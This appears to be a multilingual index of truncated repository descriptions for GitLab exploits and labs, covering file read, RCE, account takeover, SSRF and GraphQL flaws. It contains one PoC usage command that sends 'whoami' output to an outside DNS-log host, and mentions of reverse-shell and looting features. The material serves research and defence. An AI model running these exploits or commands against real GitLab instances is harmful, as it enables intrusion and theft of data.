GitLabSniper

GitLabSniper CVE-2026-85706 — GitLab CE/EE 未认证任意文件读取 检测 · 公开项目枚举 · 战利品 · 交互式 shell · subfinder/httpx 流水线 作者： Yunus Emre Öztaş mitsec X： x.com/ynsmroztas GitHub： github.com/ynsmroztas 网站： ynsmroztas.github.io 邮箱： [email protected] 仅可在你拥有或获得明确授权测试的系统上使用（漏洞赏金 / VDP / 书面合同）。 这是什么 GitLabSniper.py...

CVE-2021-22205

脆弱性の影響 GitLab CE/EEのバージョン11.9以降に影響を与える問題が発見されました。GitLabはファイルパーサーに渡される画像ファイルを適切に検証しておらず、その結果、リモートコマンド実行が可能でした。 影響を受ける製品 Gitlab CE/EE /tmp/1.txt" !攻撃コマンド1https://assets.kitploit.co...

cve-2026-85706

cve-2026-85706 GitLab CE/EE 中未认证的任意本地文件读取。影响 18.7–19.1.7、19.2.0–19.2.5、19.3.0–19.3.1。已在 19.1.8 / 19.2.6 / 19.3.2 中修复（2026-09-10）。CVSS 10.0，据称已在野利用。原始报告由 s3ntago 提交，本仓库只是我的分析文章 + PoC。 免责声明 本 PoC 仅出于教育和防御性研究目的发布，旨在帮助管理员和研究人员理解并测试该漏洞。请仅针对你拥有或已获得明确书面授权测试的系统运行它。如果你的实例处于受影响范围内，请停止阅读并先修补到 19.1.8 / 19.2....

gitlab-exploit

gitlab-exploit GitLab CVE-2023-7028 GitLab CVE-2023-7028 この脆弱性は、パスワードリセット時のメール検証の処理方法に起因するバグによって発生しました。攻撃者はパスワードリセットリクエスト時に2つのメールアドレスを提供し、リセットコードが両方のアドレスに送信される可能性がありました。これにより、攻撃者はユーザーの現在のパスワードを知らなくても、任意のユーザーのパスワードをリセットできました。 影響を受けるバージョン 以下のバージョンを使用するGitLab CE/EEの全インスタンスが影響を受けました： 16.1 ～ 16.1.5 16...

CVE-2026-85706-PoC

CVE-2026-85706：GitLab CE/EE 未认证任意本地文件读取 CVE-2026-85706 是 GitLab CE/EE Repository Commits 和 Repository Files API 中的一个严重路径遍历 / 缺失认证漏洞：未认证的攻击者可以令服务器读取任意文件，并通过错误通道获取其内容。CVSS 3.1 10.0 （CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N）。 GitLab 的官方标题为 “仓库提交 API 中的路径遍历漏洞影响 GitLab CE/EE” 。修复程序 于 2026-09-10 在...

CVE-2021-22205

CVE-2021-22205 影響バージョン： Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 使用方法 python3 CVE-2021-22205.py target "curl \whoami.dnslog" csrf-token の取得： /users/signin から csrf-token を取得し、前述の CVE-2021-22205 POC を使用してアップロードパケットを構築し、認証されていないアップロードリクエストを実行して、最終的に RCE を達成します。 参照:...

CVE-2023-7028

CVE-2023-7028 Gitlab CVE-2023-7028: ユーザー操作なしのパスワードリセットによるアカウント乗っ取り GitLab CE/EE の重大な脆弱性 CVE-2023-7028 は、攻撃者によって簡単に悪用され、GitLab ユーザーアカウントのパスワードをリセットされる可能性があります。 影響を受けるものの、アカウントで二要素認証を有効にしているユーザーはアカウント乗っ取りの影響を受けません。また、LDAP ログインも安全です。 CVE-2023-7028 について CVE-2023-7028 は、以下のバージョンの GitLab Community...

CVE-2021-22205

CVE-2021-22205 GitLab CE/EE Preauth RCE using ExifTool このプロジェクトは学習目的のみです。もし誰かの権利を侵害している場合は、プロジェクトを削除するためにご連絡ください。また、最後に不正に使用しないでください このツールの使用中に違法行為を行った場合、そのすべての結果は自己責任となります。本ツールのすべての開発者およびすべての貢献者は、いかなる法的および共同責任も負いません。 説明 GitLab CE/EE において、バージョン 11.9 以降のすべてに影響する問題が発見されました。GitLab...

CVE-2020-13277

CVE-2020-13277 CVE-2020-13277 学習環境: Gitlab 論理脆弱性 - 任意ユーザーによるプライベートリポジトリへの権限昇格アクセス 0x10 学習環境 0x20 ディレクトリ構成 CVE-2020-13277 ├── README.md ............... この README 説明 ├── imgs .................... README 説明用画像 ├── gitlab .................. Gitlab コンテナのマウントディレクトリ │ ├── Dockerfile .......... Gitlab の...

CVE-2021-22192

CVE-2021-22192 CVE-2021-22192 ラボ: 権限のないユーザーによる RCE 脆弱性 0x10 ラボ環境 0x20 ディレクトリ構成 CVE-2021-22192 ├── README.md ............... この README の説明 ├── imgs .................... README の説明を補助する画像 ├── gitlab .................. Gitlab コンテナのマウントディレクトリ │ ├── Dockerfile .......... Gitlab の Docker ビルドファイル │ ├──...

GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read

GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or...

CVE-2023-7028

CVE-2023-7028 GitLab CE/EE の全バージョン（16.1 から 16.1.6 未満、16.2 から 16.2.9 未満、16.3 から 16.3.7 未満、16.4 から 16.4.5 未満、16.5 から 16.5.6 未満、16.6 から 16.6.4 未満、16.7 から 16.7.2 未満）に影響する問題が発見されました。この問題により、ユーザーアカウントのパスワードリセットメールが、未検証のメールアドレスに配信される可能性があります。 PoC は Kali 2023.3 でテスト済み Docker で GitLab 16.7.0-ee をインストール su...

CVE-2021-22205

CVE-2021-22205 説明 - CVE-2021-22205 の POC: Gitlab CE/EE RCE 未認証リモートコード実行脆弱性 POC && EXP - antx により 2021-10-29 に作成。 詳細 - GitLab CE/EE の 11.9 以降のすべてのバージョンに影響する問題が発見されました。GitLab はファイルパーサーに渡される画像ファイルを適切に検証しておらず、リモートコマンド実行につながっていました。 CVE 重大度 - attackComplexity: LOW - attackVector: NETWORK -...

CVE-2021-22214

CVE-2021-22214 説明 - CVE-2021-22214のPoC: Gitlab CI Lint APIの未承認SSRF脆弱性 - 作成者: antx, 作成日: 2021-11-01. 詳細 - 内部ネットワークへのWebhookリクエストが有効な場合、GitLab CE/EE（バージョン10.5以降のすべてのバージョンに影響）において、登録が制限されているGitLabインスタンスでも、認証されていない攻撃者がサーバーサイドリクエストフォージェリ（SSRF）脆弱性を悪用できる可能性があります。 CVE深刻度 - attackComplexity: HIGH -...

CVE-2021-22205

CVE-2021-22205 由于Gitlab未正确验证传递到文件解析器的图像文件从而导致命令执行。攻击者可构造恶意请求利用该漏洞在目标系统执行任意指令，最终导致Gitlab服务器被控制。由于网上大多缺少反弹shell，故修改了网上写的脚本，增加了一键getshell功能 影响版本 11.9 = GitLab（CE/EE） 13.8.8 13.9 = GitLab（CE/EE） 13.9.6 13.10 = GitLab（CE/EE） 13.10.3 使用说明 / \ \ / / | | \ / \ / | | | | \ / | | | | \ \ / /| | | | | | |...

CVE-2026-19478

CVE-2026-19478 GitLab GraphQL 未认证项目删除 ★ CVE-2026-19478 GitLab GraphQL @glintroduced 未认证任意方法调用 PoC ★ https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b 概述 CVE-2026-19478 是 GitLab CE/EE 中的一个未认证数据篡改/删除 漏洞（CVSS 9.4）。 GitLab 附带一个 GraphQL 客户端指令 @glintroducedversion: "X.Y.Z"...

CVE-2021-22205-gitlab

漏洞影响 已发现 GitLab CE/EE 中一个影响所有 11.9 及以上版本的问题。GitLab 未能正确验证传递给文件解析器的图像文件，从而导致远程命令执行。 受影响产品 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 环境搭建 export GITLABHOME=/srv/gitlab sudo docker run --detach \ --hostname gitlab.example.com \ --publish 443:443 --publish 80:80 \ --name gitlab ...

CVE-2026-19478

-b91c1c?style=flat-square CVE-2026-19478 — Nuclei 模板 针对 CVE-2026-19478 的非破坏性 Nuclei 检测模板。该漏洞是 GitLab GraphQL API 中的一个严重（CVSS 9.4）未认证任意方法调用缺陷，GitLab 已于 2026 年 8 月 17 日 修复。 TL;DR GitLab 的 GraphQL schema 支持一个 @glintroducedversion: "X.Y.Z" 指令，该指令将某个字段限制为仅在最低 GitLab 版本上可用。当该指令引用的版本 高于 当前运行实例时，GitLab...

CVE-2023-2825

CVE-2023-2825 - GitLab CE/EE 16.0.0 のパストラバーサルによる任意ファイル読み取り 2023年5月23日、GitLabはバージョン16.0.1をリリースし、コミュニティエディション CE およびエンタープライズエディション EE バージョン16.0.0に影響を与える重大な脆弱性CVE-2023-2825を修正しました。この脆弱性により、認証されていないユーザーがパストラバーサルバグを通じて任意のファイルを読み取ることができます。これは、バグ報奨金プログラムを通じてHackerOneのpwnieによって発見されました。...

GitLab-CVE-2021-22205-

脆弱性の影響 GitLab CE/EE において、バージョン11.9以降のすべてのバージョンに影響する問題が発見されました。GitLab はファイルパーサーに渡された画像ファイルを適切に検証しておらず、リモートコマンド実行が発生していました。 影響を受けるバージョン Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 脆弱性の影響 近日公開... 参考 https://github.com/mr-r3bot/Gitlab-CVE-2021-22205...